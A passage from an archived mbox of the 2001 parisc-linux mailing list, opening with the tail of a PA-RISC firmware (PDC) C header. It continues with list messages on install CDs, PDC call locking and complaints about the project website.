int pdc_iodc_read(unsigned long *actcnt, void *hpa, unsigned int index,
		  void *iodc_data, unsigned int iodc_data_size);
int pdc_system_map_find_mods(struct pdc_system_map_mod_info *pdc_mod_info,
			     struct pdc_module_path *mod_path, long mod_index);
int pdc_system_map_find_addrs(struct pdc_system_map_addr_info *pdc_addr_info, 
			      long mod_index, long addr_index);
int pdc_model_info(struct pdc_model *model);
int pdc_model_sysmodel(char  *name);
int pdc_model_cpuid(unsigned long *cpu_id);
int pdc_model_versions(unsigned long *versions, int id);
int pdc_cache_info(struct pdc_cache_info *cache);
#ifndef CONFIG_PA20
int pdc_btlb_info(struct pdc_btlb_info *btlb);
#endif
#ifndef __LP64__
int pdc_mem_map_hpa(struct pdc_memory_map *r_addr, struct pdc_module_path *mod_path);
#endif
int pdc_lan_station_id(char *lan_addr, void *net_hpa);

int pdc_pci_irt_size(unsigned long *num_entries, void *hpa);
int pdc_pci_irt(unsigned long num_entries, void *hpa, void *tbl);

int pdc_tod_read(struct pdc_tod *tod);
int pdc_tod_set(unsigned long sec, unsigned long usec);

#ifdef __LP64__
int pdc_mem_mem_table(struct pdc_memory_table_raddr *r_addr, struct pdc_memory_table *tbl, 
		      unsigned long entries);
#endif

int pdc_do_firm_test_reset(unsigned long ftc_bitmap);
int pdc_do_reset(void);
void pdc_iodc_putc(unsigned char c);

int pdc_sti_call(unsigned long func, unsigned long flags,
                 unsigned long inptr, unsigned long outputr,
                 unsigned long glob_cfg);

#ifdef __LP64__
int pdc_pat_cell_get_number(struct pdc_pat_cell_num *cell_info);
int pdc_pat_cell_module(unsigned long *actcnt, unsigned long ploc, unsigned long mod,
			unsigned long view_type, void *mem_addr);
int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, void *hpa);
int pdc_pat_get_irt_size(unsigned long *num_entries, unsigned long cell_num);
int pdc_pat_get_irt(void *r_addr, unsigned long cell_num);
int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr, 
			    unsigned long count, unsigned long offset);

/********************************************************************
* PDC_PAT_CELL[Return Cell Module] memaddr[0] conf_base_addr
* ----------------------------------------------------------
* Bit  0 to 51 - conf_base_addr
* Bit 52 to 62 - reserved
* Bit       63 - endianess bit
********************************************************************/
#define PAT_GET_CBA(value) ((value) & 0xfffffffffffff000UL)

/********************************************************************
* PDC_PAT_CELL[Return Cell Module] memaddr[1] mod_info
* ----------------------------------------------------
* Bit  0 to  7 - entity type
*    0 = central agent,            1 = processor,
*    2 = memory controller,        3 = system bus adapter,
*    4 = local bus adapter,        5 = processor bus converter,
*    6 = crossbar fabric connect,  7 = fabric interconnect,
*    8 to 254 reserved,            255 = unknown.
* Bit  8 to 15 - DVI
* Bit 16 to 23 - IOC functions
* Bit 24 to 39 - reserved
* Bit 40 to 63 - mod_pages
*    number of 4K pages a module occupies starting at conf_base_addr
********************************************************************/
#define PAT_GET_ENTITY(value)	(((value) >> 56) & 0xffUL)
#define PAT_GET_DVI(value)	(((value) >> 48) & 0xffUL)
#define PAT_GET_IOC(value)	(((value) >> 40) & 0xffUL)
#define PAT_GET_MOD_PAGES(value)(((value) & 0xffffffUL)

#else
/* No PAT support for 32-bit kernels...sorry */
#define pdc_pat_get_irt_size(num_entries, cell_numn)	PDC_RET_NE_PROC
#define pdc_pat_get_irt(r_addr, cell_num)	PDC_RET_NE_PROC
#endif

extern void pdc_init(void);

#endif /* __ASSEMBLY__ */

#endif /* _PARISC_PDC_H */


--ZGiS0Q5IWpPtfppv--




From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: PA-RISC-Linux
Date: Thu, 29 Mar 2001 10:38:40 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <E14igNc-0004Yu-00@noam.fc.hp.com>
References: <3.0.6.32.20010329144159.0096bd50@post.webmailer.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619984 17343 80.91.229.3 (22 Nov 2014 01:33:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joachim Kress <jkress%kress-home.de@post.webmailer.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 10:38:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 424B3482A
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 10:38:46 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id F05B277E; Thu, 29 Mar 2001 12:38:44 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id KAA23468;
	Thu, 29 Mar 2001 10:38:43 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14igNc-0004Yu-00; Thu, 29 Mar 2001 10:38:40 -0700
In-Reply-To: Your message of "Thu, 29 Mar 2001 14:41:59 +0200."
             <3.0.6.32.20010329144159.0096bd50@post.webmailer.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:10625

= Hello Mr. Bame,
= 
= I have two HP-Workstations (HP9000/700) and a (HP9000/712).
= And for both i need a PA-RISC-Linux CD-ROM !
= Where can get order the "Developer's Release CD-ROM" for PA-RISC-Linux?
= Can You send me a general Install-Instruction?

Please consult our web site, www.parisc-linux.org for lots of use
information, including whether your "HP9000/700" will be supported
(the 712 is).  We will be producing a new CD image in the next couple
of months from which you can create your own CD.

	-Paul Bame

= sincerely,
= 
= 		Joachim Kress
= 		
= Name: Joachim Kress
= Street: Querstrasse 6
= Postal: D-72074
= City: Tuebingen
= State: germany
= 
= 
= 




From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] PDC cleanup and encapsulation
Date: Thu, 29 Mar 2001 10:48:26 -0700
Lines: 8
Approved: news@gmane.org
Message-ID: <E14igX4-0004a3-00@noam.fc.hp.com>
References: <20010329011830.A18639@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619984 17395 80.91.229.3 (22 Nov 2014 01:33:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: rbradetich@uswest.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 10:49:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83656482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Mar 2001 10:49:09 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP
	id D8D4783B; Thu, 29 Mar 2001 12:48:28 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id KAA24541;
	Thu, 29 Mar 2001 10:48:27 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14igX4-0004a3-00; Thu, 29 Mar 2001 10:48:26 -0700
In-Reply-To: Your message of "Thu, 29 Mar 2001 01:18:30 MST."
             <20010329011830.A18639@beavis.ybsoft.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10626

I wonder if it makes sense to pass the lock to mem_pdc_call and let
it do the lock/unlock rather than doing that in every caller to
mem_pdc_call.

	-P




From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] www.parisc-linux.org
Date: Thu, 29 Mar 2001 11:02:31 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <E14igkh-0004bA-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619984 17396 80.91.229.3 (22 Nov 2014 01:33:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 11:02:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B0EE482A
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 11:02:34 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel2.hp.com (Postfix) with ESMTP id A9906120A
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 13:02:33 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id LAA25738
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 11:02:32 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14igkh-0004bA-00
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 11:02:31 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10627

Hey our web site is pretty stale and I'm as guilty of neglecting it
as anyone.  I feel guilty referring new people there and wonder if
anyone has an interest in helping out?  I notice the ESIEE web site
(http://mkhppa1.esiee.fr/) is much fresher but perhaps not as complete.
Maybe we could work together on a superior web site?

Frustrated,

	-Paul Bame




From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] www.parisc-linux.org
Date: Thu, 29 Mar 2001 19:24:19 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20010329192419.Y7738@parcelfarce.linux.theplanet.co.uk>
References: <E14igkh-0004bA-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619985 17402 80.91.229.3 (22 Nov 2014 01:33:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 11:24:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDDAF482A
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 11:24:29 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14ih5n-0007lf-00; Thu, 29 Mar 2001 19:24:19 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14igkh-0004bA-00@noam.fc.hp.com>; from bame@fc.hp.com on Thu, Mar 29, 2001 at 11:02:31AM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10628

On Thu, Mar 29, 2001 at 11:02:31AM -0700, Paul Bame wrote:
> 
> Hey our web site is pretty stale and I'm as guilty of neglecting it
> as anyone.  I feel guilty referring new people there and wonder if
> anyone has an interest in helping out?  I notice the ESIEE web site
> (http://mkhppa1.esiee.fr/) is much fresher but perhaps not as complete.
> Maybe we could work together on a superior web site?

I think it has a large amount to do with the fact that the one person
who cared about it enough to keep it up to date (and chivvy others to
do the bits they were responsible for) was bypassed and had his opinions
ignored when the website was redesigned.

I'd like to see a technical website where we can put the information
that we feel is worth having and can feel good about referring people to.
Let the current site continue rotting into the usual mess that corporate
websites turn into.

> Frustrated,

Likewise.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pchang@believe.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: PA-RISC-Linux
Date: 29 Mar 2001 10:48:54 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <uk858za09.fsf@believe.com>
References: <3.0.6.32.20010329144159.0096bd50@post.webmailer.de>
	<E14igNc-0004Yu-00@noam.fc.hp.com>
Reply-To: weasel@cs.stanford.edu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619985 17404 80.91.229.3 (22 Nov 2014 01:33:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:05 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 11:41:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from infratron.believe.com (unknown [64.148.113.113])
	by dsl2.external.hp.com (Postfix) with SMTP id 9B513482A
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 11:41:12 -0700 (MST)
Original-Received: (qmail 12838 invoked from network); 29 Mar 2001 18:40:49 -0000
Original-Received: from pchang-pc.believe.com (10.0.0.161)
  by public.believe.com with SMTP; 29 Mar 2001 18:40:49 -0000
In-Reply-To: <E14igNc-0004Yu-00@noam.fc.hp.com>
Original-Lines: 14
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:10629

Paul Bame <bame@fc.hp.com> writes:

> We will be producing a new CD image in the next couple of months
> from which you can create your own CD.

I'm still catching up on the archives, but it would be nice if the cd
image to be was happy w/ the hp bootloader from the start rather than
fixing it afterwards. (I realize that it's not difficult to do, but i
did make an ass out of me and umption the first time i made a cd).

\p
---
Better look around you,check to see, that you're not conforming to
nonconformity! --- Pajama Slave Dancers





From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] www.parisc-linux.org
Date: 29 Mar 2001 21:56:25 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <d3ofukjqmu.fsf@lxplus015.cern.ch>
References: <E14igkh-0004bA-00@noam.fc.hp.com> <20010329192419.Y7738@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619985 17410 80.91.229.3 (22 Nov 2014 01:33:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:05 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 12:57:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 653C3482A
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 12:57:13 -0700 (MST)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id VAA02436;
	Thu, 29 Mar 2001 21:56:27 +0200 (MET DST)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id VAA28234;
	Thu, 29 Mar 2001 21:56:25 +0200
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Matthew Wilcox's message of "Thu, 29 Mar 2001 19:24:19 +0100"
Original-Lines: 13
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10630

>>>>> "Matthew" == Matthew Wilcox <matthew@wil.cx> writes:

Matthew> I'd like to see a technical website where we can put the
Matthew> information that we feel is worth having and can feel good
Matthew> about referring people to.  Let the current site continue
Matthew> rotting into the usual mess that corporate websites turn
Matthew> into.

Providing constructive criticism instead of whining like a spoiled
little kid will probably have a somewhat higher chance of making
things happen.

Jes




From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] www.parisc-linux.org
Date: Thu, 29 Mar 2001 20:59:17 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010329205917.C7738@parcelfarce.linux.theplanet.co.uk>
References: <E14igkh-0004bA-00@noam.fc.hp.com> <20010329192419.Y7738@parcelfarce.linux.theplanet.co.uk> <d3ofukjqmu.fsf@lxplus015.cern.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619985 17412 80.91.229.3 (22 Nov 2014 01:33:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:05 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, Paul Bame <bame@fc.hp.com>,
	parisc-linux@parisc-linux.org
To: Jes Sorensen <jes@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 12:59:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 028A6482A
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 12:59:27 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14iiZh-0000n1-00; Thu, 29 Mar 2001 20:59:17 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <d3ofukjqmu.fsf@lxplus015.cern.ch>; from jes@linuxcare.com on Thu, Mar 29, 2001 at 09:56:25PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10631

On Thu, Mar 29, 2001 at 09:56:25PM +0200, Jes Sorensen wrote:
> Providing constructive criticism instead of whining like a spoiled
> little kid will probably have a somewhat higher chance of making
> things happen.

What're you doing that's constructive, Jes?  I'm writing code.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: PA-RISC-Linux
Date: Thu, 29 Mar 2001 13:02:34 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <E14iics-0004es-00@noam.fc.hp.com>
References: <3.0.6.32.20010329144159.0096bd50@post.webmailer.de> <E14igNc-0004Yu-00@noam.fc.hp.com>  <uk858za09.fsf@believe.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619986 17415 80.91.229.3 (22 Nov 2014 01:33:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: weasel@cs.stanford.edu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 13:02:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE9F8482A
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 13:02:35 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id E4C21740; Thu, 29 Mar 2001 15:02:34 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id NAA05894;
	Thu, 29 Mar 2001 13:02:34 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14iics-0004es-00; Thu, 29 Mar 2001 13:02:34 -0700
In-Reply-To: Your message of "29 Mar 2001 10:48:54 PST."
             <uk858za09.fsf@believe.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10632

= Paul Bame <bame@fc.hp.com> writes:
= 
= > We will be producing a new CD image in the next couple of months
= > from which you can create your own CD.
= 
= I'm still catching up on the archives, but it would be nice if the cd
= image to be was happy w/ the hp bootloader from the start rather than
= fixing it afterwards.

Can you tell me what you did that didn't work?  I don't understand
what went wrong well enough to do something different next time.

	-P




From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbrad@beavis.ybsoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] PDC cleanup and encapsulation
Date: Thu, 29 Mar 2001 15:05:26 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20010329150526.A5458@beavis.ybsoft.com>
References: <20010329011830.A18639@beavis.ybsoft.com> <E14igX4-0004a3-00@noam.fc.hp.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619986 17418 80.91.229.3 (22 Nov 2014 01:33:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 15:06:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from boispop1.bois.uswest.net (boispop1.bois.uswest.net [207.108.224.1])
	by dsl2.external.hp.com (Postfix) with SMTP id 9017B482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 29 Mar 2001 15:06:57 -0700 (MST)
Original-Received: (qmail 29742 invoked by alias); 29 Mar 2001 22:06:10 -0000
Delivered-To: fixup-parisc-linux@lists.parisc-linux.org@fixme
Original-Received: (qmail 28202 invoked by uid 0); 29 Mar 2001 22:05:30 -0000
Original-Received: from lametoby.ybsoft.com (HELO beavis.ybsoft.com) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 29 Mar 2001 22:05:30 -0000
Original-Received: from rbrad by beavis.ybsoft.com with local (Exim 3.20 #1 (Debian))
	id 14ikXm-0001Q7-00; Thu, 29 Mar 2001 15:05:26 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
In-Reply-To: <E14igX4-0004a3-00@noam.fc.hp.com>; from bame@fc.hp.com on Thu, Mar 29, 2001 at 10:48:26AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10633

On Thu, Mar 29, 2001 at 10:48:26AM -0700, Paul Bame wrote:
> 
> I wonder if it makes sense to pass the lock to mem_pdc_call and let
> it do the lock/unlock rather than doing that in every caller to
> mem_pdc_call.
> 
> 	-P

This could be a possible option.  I chose not to do something similar
to do this for two reasons:

	1. The PDC call can determine the lock level (ie. spin_lock_irq()
           or spin_lock_irqsave()) depending upon if the PDC call can
           be made in interrupt context.

	2. Since pdc_result and pdc_result2 are globals, I used the
	   spin_lock to protect these variables.  That is why the
	   convert_to_wide() calls, etc are contained within the 
	   spin lock.

Maybe I was being paranoid about the locking, and your approach makes
more sense.  I was more interested in protecting data then holding
the lock for the minimum time so my approach might be draconian.  I
do not understand all the locking issues, but I'd be willing to
modify the code to put the lock in the mem_pdc_call if others agree.

Thanks,

- Ryan




From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thierry SIMONNET <simonnet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] www.parisc-linux.org
Date: Thu, 29 Mar 2001 22:24:37 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20010329202438.2C85FD15F4@mail.esiee.fr>
References: <E14igkh-0004bA-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619986 17422 80.91.229.3 (22 Nov 2014 01:33:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 16:57:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8BE01482A
	for <parisc-linux@parisc-linux.org>; Thu, 29 Mar 2001 16:57:42 -0700 (MST)
Original-Received: from esiee.fr (mail.esiee.fr [147.215.1.3])
	by mail.esiee.fr (Postfix) with ESMTP
	id 2C85FD15F4; Thu, 29 Mar 2001 22:24:38 +0200 (CEST)
In-Reply-To: <E14igkh-0004bA-00@noam.fc.hp.com>
User-Agent: IMHO/0.97.1 (Webmail for Roxen)
Xref: news.gmane.org gmane.linux.ports.parisc:10634

Hi,                                                                   
                                                                      
I totally agree with you about working together to homogenize our web 
sites.                                                                
Have any suggestion? Perhaps, ESIEE could home and maintain some items
of a common                                                           
site?                                                                 
Regards                                                               
                                                                      
Thierry Simonnet                                                      
Groupe ESIEE - CCIP                                                   
                                                                      
Paul Bame wrote:                                                      
>                                                                     
> Hey our web site is pretty stale and I'm as guilty of neglecting it 
> as anyone.  I feel guilty referring new people there and wonder if  
> anyone has an interest in helping out?  I notice the ESIEE web site 
> (http://mkhppa1.esiee.fr/) is much fresher but perhaps not as       
complete.                                                             
> Maybe we could work together on a superior web site?                
>                                                                     
                                                                      
                                                                      




From - Thu Nov 08 21:17:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John Moser" <jmoser@erc.wisc.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hello
Date: Thu, 29 Mar 2001 22:54:17 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <MEECKBAAADEIJHIDKLHDMEPHCAAA.jmoser@erc.wisc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619987 17423 80.91.229.3 (22 Nov 2014 01:33:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:07 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 29 21:52:42 2001
